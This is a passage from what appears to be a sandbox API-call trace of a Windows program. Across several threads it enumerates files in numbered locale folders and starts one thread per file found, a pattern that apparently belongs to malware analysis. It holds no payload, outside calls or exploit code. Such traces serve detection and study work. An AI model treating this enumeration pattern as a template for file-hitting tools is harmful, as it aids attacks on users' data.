	[0073.342] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7a1d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5bc
	[0073.343] FindNextFileW (in: hFindFile=0x2d70fc0, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0073.343] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1
	[0073.343] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1
	[0073.343] FindNextFileW (in: hFindFile=0x2d70fc0, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0073.343] FindClose (in: hFindFile=0x2d70fc0 | out: hFindFile=0x2d70fc0) returned 1
	[0073.343] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.343] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d733d8) returned 1
	[0073.343] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70f00) returned 1

Thread:
	id = 49
	os_tid = 0xf9c

	[0073.344] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d733d8
	[0073.344] wcscpy (in: _Dest=0x2d733d8, _Source="C:\\588bce7c90097ed212\\1035" | out: _Dest="C:\\588bce7c90097ed212\\1035") returned="C:\\588bce7c90097ed212\\1035"
	[0073.344] wcscat (in: _Dest=0x2d733d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1035\\") returned="C:\\588bce7c90097ed212\\1035\\"
	[0073.344] wcscat (in: _Dest=0x2d733d8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1035\\*") returned="C:\\588bce7c90097ed212\\1035\\*"
	[0073.344] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.344] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70f00
	[0073.345] wcscmp (_String1=".", _String2=".") returned 0
	[0073.345] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.345] wcscmp (_String1="..", _String2=".") returned 1
	[0073.345] wcscmp (_String1="..", _String2="..") returned 0
	[0073.345] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0073.345] wcscmp (_String1="eula.rtf", _String2=".") returned 1
	[0073.345] wcscmp (_String1="eula.rtf", _String2="..") returned 1
	[0073.345] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x47305b0
	[0073.345] wcscpy (in: _Dest=0x47305b0, _Source="C:\\588bce7c90097ed212\\1035" | out: _Dest="C:\\588bce7c90097ed212\\1035") returned="C:\\588bce7c90097ed212\\1035"
	[0073.345] wcscat (in: _Dest=0x47305b0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1035\\") returned="C:\\588bce7c90097ed212\\1035\\"
	[0073.345] wcscat (in: _Dest=0x47305b0, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned="C:\\588bce7c90097ed212\\1035\\eula.rtf"
	[0073.345] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47305b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c0
	[0073.346] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0073.346] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1
	[0073.346] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1
	[0073.346] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x2d7a240
	[0073.346] wcscpy (in: _Dest=0x2d7a240, _Source="C:\\588bce7c90097ed212\\1035" | out: _Dest="C:\\588bce7c90097ed212\\1035") returned="C:\\588bce7c90097ed212\\1035"
	[0073.346] wcscat (in: _Dest=0x2d7a240, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1035\\") returned="C:\\588bce7c90097ed212\\1035\\"
	[0073.346] wcscat (in: _Dest=0x2d7a240, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml"
	[0073.346] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7a240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c4
	[0073.347] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0073.347] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1
	[0073.347] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1
	[0073.347] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0073.347] FindClose (in: hFindFile=0x2d70f00 | out: hFindFile=0x2d70f00) returned 1
	[0073.347] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.347] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d733d8) returned 1
	[0073.347] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d71100) returned 1

Thread:
	id = 50
	os_tid = 0x12c0

	[0073.350] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d733d8
	[0073.350] wcscpy (in: _Dest=0x2d733d8, _Source="C:\\588bce7c90097ed212\\1036" | out: _Dest="C:\\588bce7c90097ed212\\1036") returned="C:\\588bce7c90097ed212\\1036"
	[0073.350] wcscat (in: _Dest=0x2d733d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1036\\") returned="C:\\588bce7c90097ed212\\1036\\"
	[0073.350] wcscat (in: _Dest=0x2d733d8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1036\\*") returned="C:\\588bce7c90097ed212\\1036\\*"
	[0073.350] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.350] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70f00
	[0073.351] wcscmp (_String1=".", _String2=".") returned 0
	[0073.351] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.351] wcscmp (_String1="..", _String2=".") returned 1
	[0073.351] wcscmp (_String1="..", _String2="..") returned 0
	[0073.351] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0073.351] wcscmp (_String1="eula.rtf", _String2=".") returned 1
	[0073.351] wcscmp (_String1="eula.rtf", _String2="..") returned 1
	[0073.351] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x4730600
	[0073.351] wcscpy (in: _Dest=0x4730600, _Source="C:\\588bce7c90097ed212\\1036" | out: _Dest="C:\\588bce7c90097ed212\\1036") returned="C:\\588bce7c90097ed212\\1036"
	[0073.351] wcscat (in: _Dest=0x4730600, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1036\\") returned="C:\\588bce7c90097ed212\\1036\\"
	[0073.351] wcscat (in: _Dest=0x4730600, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned="C:\\588bce7c90097ed212\\1036\\eula.rtf"
	[0073.351] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4730600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c8
	[0073.352] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0073.352] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1
	[0073.352] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1
	[0073.352] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x2d7a2a8
	[0073.352] wcscpy (in: _Dest=0x2d7a2a8, _Source="C:\\588bce7c90097ed212\\1036" | out: _Dest="C:\\588bce7c90097ed212\\1036") returned="C:\\588bce7c90097ed212\\1036"
	[0073.352] wcscat (in: _Dest=0x2d7a2a8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1036\\") returned="C:\\588bce7c90097ed212\\1036\\"
	[0073.352] wcscat (in: _Dest=0x2d7a2a8, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml"
	[0073.352] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7a2a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5cc
	[0073.353] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0073.353] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1
	[0073.353] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1
	[0073.353] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0073.353] FindClose (in: hFindFile=0x2d70f00 | out: hFindFile=0x2d70f00) returned 1
	[0073.353] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.353] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d733d8) returned 1
	[0073.353] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d71280) returned 1

Thread:
	id = 51
	os_tid = 0xe8c

	[0073.354] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d733d8
	[0073.354] wcscpy (in: _Dest=0x2d733d8, _Source="C:\\588bce7c90097ed212\\1037" | out: _Dest="C:\\588bce7c90097ed212\\1037") returned="C:\\588bce7c90097ed212\\1037"
	[0073.354] wcscat (in: _Dest=0x2d733d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1037\\") returned="C:\\588bce7c90097ed212\\1037\\"
	[0073.354] wcscat (in: _Dest=0x2d733d8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1037\\*") returned="C:\\588bce7c90097ed212\\1037\\*"
	[0073.354] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.354] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70f00
	[0073.354] wcscmp (_String1=".", _String2=".") returned 0
	[0073.354] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.354] wcscmp (_String1="..", _String2=".") returned 1
	[0073.354] wcscmp (_String1="..", _String2="..") returned 0
	[0073.354] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0073.354] wcscmp (_String1="eula.rtf", _String2=".") returned 1
	[0073.354] wcscmp (_String1="eula.rtf", _String2="..") returned 1
	[0073.354] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x4730650
	[0073.354] wcscpy (in: _Dest=0x4730650, _Source="C:\\588bce7c90097ed212\\1037" | out: _Dest="C:\\588bce7c90097ed212\\1037") returned="C:\\588bce7c90097ed212\\1037"
	[0073.354] wcscat (in: _Dest=0x4730650, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1037\\") returned="C:\\588bce7c90097ed212\\1037\\"
	[0073.354] wcscat (in: _Dest=0x4730650, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned="C:\\588bce7c90097ed212\\1037\\eula.rtf"
	[0073.354] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4730650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d0
	[0073.355] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0073.355] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1
	[0073.355] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1
	[0073.355] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x2d7a310
	[0073.355] wcscpy (in: _Dest=0x2d7a310, _Source="C:\\588bce7c90097ed212\\1037" | out: _Dest="C:\\588bce7c90097ed212\\1037") returned="C:\\588bce7c90097ed212\\1037"
	[0073.355] wcscat (in: _Dest=0x2d7a310, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1037\\") returned="C:\\588bce7c90097ed212\\1037\\"
	[0073.355] wcscat (in: _Dest=0x2d7a310, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml"
	[0073.355] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7a310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d4
	[0073.356] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0073.356] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1
	[0073.356] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1
	[0073.356] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0073.356] FindClose (in: hFindFile=0x2d70f00 | out: hFindFile=0x2d70f00) returned 1
	[0073.356] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.356] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d733d8) returned 1
	[0073.356] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70f40) returned 1

Thread:
	id = 52
	os_tid = 0x11ec

	[0073.357] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d733d8
	[0073.357] wcscpy (in: _Dest=0x2d733d8, _Source="C:\\588bce7c90097ed212\\1038" | out: _Dest="C:\\588bce7c90097ed212\\1038") returned="C:\\588bce7c90097ed212\\1038"
	[0073.357] wcscat (in: _Dest=0x2d733d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1038\\") returned="C:\\588bce7c90097ed212\\1038\\"
	[0073.357] wcscat (in: _Dest=0x2d733d8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1038\\*") returned="C:\\588bce7c90097ed212\\1038\\*"
	[0073.357] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.357] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70f00
	[0073.357] wcscmp (_String1=".", _String2=".") returned 0
	[0073.357] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.357] wcscmp (_String1="..", _String2=".") returned 1
	[0073.357] wcscmp (_String1="..", _String2="..") returned 0
	[0073.358] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0073.358] wcscmp (_String1="eula.rtf", _String2=".") returned 1
	[0073.358] wcscmp (_String1="eula.rtf", _String2="..") returned 1
	[0073.358] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x47306a0
	[0073.358] wcscpy (in: _Dest=0x47306a0, _Source="C:\\588bce7c90097ed212\\1038" | out: _Dest="C:\\588bce7c90097ed212\\1038") returned="C:\\588bce7c90097ed212\\1038"
	[0073.358] wcscat (in: _Dest=0x47306a0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1038\\") returned="C:\\588bce7c90097ed212\\1038\\"
	[0073.358] wcscat (in: _Dest=0x47306a0, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned="C:\\588bce7c90097ed212\\1038\\eula.rtf"
	[0073.358] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47306a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d8
